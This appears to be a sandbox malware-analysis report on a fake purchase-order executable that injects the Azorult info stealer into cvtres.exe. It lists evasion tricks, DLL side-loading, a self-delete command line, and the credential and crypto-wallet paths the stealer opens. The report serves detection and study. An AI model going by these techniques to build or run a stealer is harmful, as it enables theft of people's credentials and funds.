Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-file-l1-2-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-memory-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-string-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-multibyte-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-debug-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-localization-l1-2-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-utility-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\nssdbm3.dll Jump to dropped file
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00417B1A LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 1_2_00417B1A
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe TID: 768 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00416B94 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,FindCloseChangeNotification,GetCurrentProcessId, 1_2_00416B94
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-errorhandling-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-synch-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-process-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-stdio-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-datetime-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-file-l2-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-console-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-heap-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-filesystem-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-libraryloader-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-conio-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-file-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-time-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-util-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-profile-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-rtlsupport-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-string-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-interlocked-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-environment-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-private-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-locale-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-processenvironment-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-synch-l1-2-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-handle-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-timezone-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-file-l1-2-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-runtime-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-processthreads-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-namedpipe-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-math-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-memory-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-string-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-multibyte-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\softokn3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-debug-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-sysinfo-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-processthreads-l1-1-1.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-heap-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-utility-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-localization-l1-2-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-convert-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1C1DB9BC\nssdbm3.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Is looking for software installed on the system
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00416748 GetSystemInfo, 1_2_00416748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_004098A0 FindFirstFileW,FindNextFileW,FindClose, 1_2_004098A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040D0A0 FindFirstFileW, 1_2_0040D0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose, 1_2_00414408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00408D44 FindFirstFileW,GetFileAttributesW, 1_2_00408D44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00415610 FindFirstFileW,FindNextFileW,FindClose, 1_2_00415610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_004087DC FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW, 1_2_004087DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040D06E FindFirstFileW, 1_2_0040D06E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0041303C FindFirstFileW,FindNextFileW,FindClose, 1_2_0041303C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040989F FindFirstFileW,FindNextFileW,FindClose, 1_2_0040989F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_004111C4 FindFirstFileW,FindNextFileW,FindClose, 1_2_004111C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose, 1_2_00414408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00415610 FindFirstFileW,FindNextFileW,FindClose, 1_2_00415610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00412D70 FindFirstFileW,FindNextFileW,FindClose, 1_2_00412D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00412D70 FindFirstFileW,FindNextFileW,FindClose, 1_2_00412D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00408D3C FindFirstFileW,GetFileAttributesW, 1_2_00408D3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00412D70 FindFirstFileW,FindNextFileW,FindClose, 1_2_00412D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0041158C FindFirstFileW,FindNextFileW,FindClose, 1_2_0041158C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00411590 FindFirstFileW,FindNextFileW,FindClose, 1_2_00411590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00412D9C FindFirstFileW,FindNextFileW,FindClose, 1_2_00412D9C
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00416B94 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,FindCloseChangeNotification,GetCurrentProcessId, 1_2_00416B94
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040B15C LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress, 1_2_0040B15C
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00407A34 mov eax, dword ptr fs:[00000030h] 1_2_00407A34
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 41B000 Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 41D000 Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 41E000 Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 4760008 Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 value starts with: 4D5A Jump to behavior
DLL side loading technique detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Section loaded: C:\Users\user\AppData\Local\Temp\1C1DB9BC\nss3.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Section loaded: C:\Users\user\AppData\Local\Temp\1C1DB9BC\mozglue.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Section loaded: C:\Users\user\AppData\Local\Temp\1C1DB9BC\vcruntime140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Section loaded: C:\Users\user\AppData\Local\Temp\1C1DB9BC\msvcp140.dll Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "cvtres.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Queries volume information: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: GetLocaleInfoA, 1_2_00404B4C
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\NUEVA ORDEN-MATSA 10-2022,.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00417098 GetTimeZoneInformation, 1_2_00417098
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00404C15 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId, 1_2_00404C15

Stealing of Sensitive Information
barindex
Yara detected Azorult
Source: Yara match File source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.7e35982.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.7e3b8e3.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.7e414d2.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.294332451.00000000081C8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.309870959.00000000081D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: NUEVA ORDEN-MATSA 10-2022,.exe PID: 1504, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cvtres.exe PID: 4128, type: MEMORYSTR
Yara detected Azorult Info Stealer
Source: Yara match File source: 1.0.cvtres.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.cvtres.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000000.248942345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.249057187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.248993320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.298767805.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.249215469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.248868745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: NUEVA ORDEN-MATSA 10-2022,.exe PID: 1504, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cvtres.exe PID: 4128, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\ Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\ Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml Jump to behavior
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt Jump to behavior
Found many strings related to Crypto-Wallets (likely being stolen)
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum\wallets\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum\wallets\
